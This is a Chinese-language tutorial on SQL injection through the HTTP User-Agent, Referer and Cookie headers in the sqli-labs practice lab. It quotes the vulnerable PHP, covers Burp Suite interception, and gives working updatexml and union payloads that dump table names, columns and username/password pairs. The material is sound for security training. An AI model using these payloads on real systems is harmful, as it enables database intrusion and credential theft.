6-Web安全——基于POST提交的报头注入

目录

1. 基于POST提交的报头注入

2. user-agent报头注入

3. Referer报头注入

4. Cookie报头注入

5. 总结


 

 

1. 基于POST提交的报头注入

 

当进行常规注入时页面看不到明显变化,找不到注入点的时候可以尝试报头注入,基于POST提交注入的报头注入有以下几种:

  1. user-agent报头注入
  2. Referer报头注入
  3. Cookie报头注入

 

2. user-agent报头注入

 

分析Less-18源代码产生SQL注入的原因:

//通过全局变量获取ip地址,User-Agent字段中的信息
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
echo "<br>";
echo 'Your IP ADDRESS is: ' .$IP;
echo "<br>";
//echo 'Your User Agent is: ' .$uagent;
// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
	{
	
	//对提交的用户名和密码进行安全校验
	$uname = check_input($_POST['uname']);
	$passwd = check_input($_POST['passwd']);
	$fp=fopen('result.txt','a');
	fwrite($fp,'User Agent:'.$uname."\n");
	fclose($fp);
	
	//查询数据库的结果是否一致
	$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			//结果一致则将数据插入到uagents表中
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			
			}
		else
			{
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";			
			echo "</br>";
			echo '<img src="../images/slap.jpg"   />';	
			echo "</font>";  
			}
	}

check_input函数用于对输入的用户名和密码进行检测,以字符的形式存入数据库,而不是直接拼接到SQL语句中执行,这样就无法注入了。然后将前台提交的用户名和密码和数据库中的结果进行对比,是否一致。如果一致的话就将uagent,ip,uname等数据插入到security数据库下的uagents表中。

 

uagent在http协议中的一个User-Agent字段,该字段通常,表示"用户代理"的意思,用于将客户端的操作系统和浏览器信息告知服务器,服务端可以根据这个字段,判断并统计终端用户的类型,一般很多安全软件可以伪造这个字段,欺骗服务器。

 

http请求头中的User-Agent字段中携带了浏览器,操作系统版本等信息,浏览器是Firefox,基于46.0版本,操作系统是win10。

 

user-agent报头注入的思路过程是,首先要求登录成功,然后修改$uagent参数,使用报错注入方式在插入信息执行命令报错,反馈错误信息,登录成功后输出uagent信息包括报错信息,从而达到user-agent报头注入目的。

 

插入数据的SQL语句构造:

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES(1 or updatexml(1,concat('#',(database())),0),2,3);

数据库报错反馈回来的错误信息正好是我们想要的。

 

 

 

想要实现user-agent报头注入还需要一个Burp Suite软件,使用Burp Suite软件修改浏览器提交的POST请求报文中的头部字段信息,这里主要会用到Burp Suite的两个功能:Proxy代理和Repeaater重发器。

 

查看端口代理:点击Proxy ——> 点击Options选项:
 

点击Add选项添加配置,然后Burp Suite软件就会侦听127.0.0.1地址的8080端口的数据包并拦截下来。

 

 

再配置Firefox浏览器代理功能:点击选项 ---->  高级   ---->  选择网络,点击设置:

 

使用一个用户名admin和密码admin登录,点击submit,然后Burp Suite软件就会把侦听到的数据包拦截下来:

 

将User-Agent字段中原来的内容删掉,替换成自定义构造的SQL语句:  

如果不适应Burp Suite软件代码形式的错误信息提示的话,可以点击POST的Response响应报文中的Render选项以图形化的形式显示错误信息。

 

使用user-agent报头注入获取表名:

' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),3),'192.168.1.1','test')#

使用user-agent报头注入获取列名,获取用户名和密码等数据,按照上面的方式构造SQL语句即可。

 

 

3. Referer报头注入

 

分析Less-19源代码产生SQL注入的原因:

Referer报头注入和user-agent报头注入的原理类似,对于用户名和密码后台会进行安全校验,然后对用户名和密码进行对比,如果一致则说明登陆成功,然后会将referer,ip_address插入到referers表中。

 

Referer是HTTP协议头部信息中的一部分,Referer表示从哪个链接跳转到此页面的,包含一个URL,当浏览器向web服务器发送请求的时候,一般都会带上referer,告诉服务器当前网页是从哪个网页链接过来的,因此服务器可以获得一些信息用于处理。Referer常用于防盗链,防止恶意请求,空referer。

 

 

首先需要用一个用户名和密码登录成功,然后可以修改$referer参数,通过报错注入在插入信息执行命令时报错,反馈错误信息,登录后输出referer信息包括报错信息,以此来达到报错注入的效果。

 

打开Burp Suite软件,查看端口代理:点击Proxy ——> 点击Options选项:

 

 

 

Referer报头注入构造的SQL语句如下所示:

' or updatexml(1,concat('~',(database())),3),'192.168.1.1')#

 

 

把http请求头部信息中Referer字段中原先的内容删掉,替换成Referer报头注入自定义的SQL语句,点击Go发送http请求头部信息:

使用user-agent报头注入获取表名,获取列名,获取用户名和密码等数据,也是按照上面的方式构造SQL语句。

 

 

4. Cookie报头注入

 

分析Less-20源代码产生SQL注入的原因:

通过分析源代码后,发现同样也对提交的用户名和密码进行对比查询了,但与user-agent报头注入和Referer报头注入不同的是,调用了setcookie函数对用户名设置一个cookie,setcookie函数的作用是向客户端发送一个 HTTP cookie。

 

函数原型如下:

setcookie(name,value,expire,path,domain,secure);

 

name和value参数是必需参数,其他的则为可选参数,具体参数说明如下:

  1. name:表示cookie 的名称。
  2. Value:表示cookie 的值。
  3. expire:设置cookie 的有效期。
  4. path :设置cookie 的服务器路径。
  5. domain:设置cookie 的域名。
  6. secure:是否通过安全的 HTTPS 连接来传输 cookie。

 

setcookie('uname', $cookee, time()+3600); 这一行代码的作用就是向客户端发送一个名字为uname的HTTP cookie,有效期为3600秒(一个小时)。

 

 

当提交用户名和密码登陆成功会生成一个cookie,web页面会输出cookie的值,客户端向数据库服务端发送cookie验证不需要再次输入用户名和密码,提交的cookie值不需要进行check_input校验,这会让username从$cookee中获取的cookie可以随意修改,存在SQL注入。

 

 

Cookie是http协议请求头中的一个字段:

Cookie是一种客户端技术,用于记录客户端的身份信息,例如通过cookie可以登录网站。也就是说,服务器会给每个用户的数据以cokkile的形式写入每个用户的浏览器中(通常cookie会进行加密),不同用户的cookie也是不同的,当用户通过各自的浏览器访问服务器时就会带着自己的数据,这样服务器通过cookie来辨别不同用户身份,并把数据返回给相应的用户。

 

 

使用用户名和密码登录,然后刷新页面:

 

打开Burp Suite软件,查看端口代理:点击Proxy ——> 点击Options选项:

现在我们要根据这行代码分析并进行SQL注入:

$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

从这行代码可以确定闭合方式是单引号的。

 

 

确定闭合方式后,现在http请求头中的cookie字段替换成自定义的SQL语句:

' order by 4#

 

从数据库返回的错误提示来看,当前数据库表的列数没有4列的,那么把4改为3的时候,web页面显示正常,说明当前表的列数实际上只有3列的:

 

 

再通过联合查询注入确定显示位,构造的SQL语句如下:

确定显示位置后,就可以将2或者3的位置更改为version()函数或者database()函数,爆出数据库的版本和名字。

 

使用cookie报头注入获取数据库下所有表名:

Cookie: uname='union select 1 , group_concat(table_name) , 3 from information_schema.tables where table_schema=database() #

 

使用cookie报头注入获取数据库下表的所有列名:

Cookie: uname='union select 1 , group_concat(column_name) , 3 from information_schema.columns where table_schema=database() and table_name='users' #

 

使用cookie报头注入获取当前数据库下表的所有用户名和密码:

Cookie: uname='union select 1 , group_concat(username , '@' , password) , 3 from users #

 

5. 总结

基于POST提交方式的SQL注入跟GET提交方式本质上是没有区别的,POST提交的区别在于在进行SQL注入的过程中所提交的参数形式不一样。

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章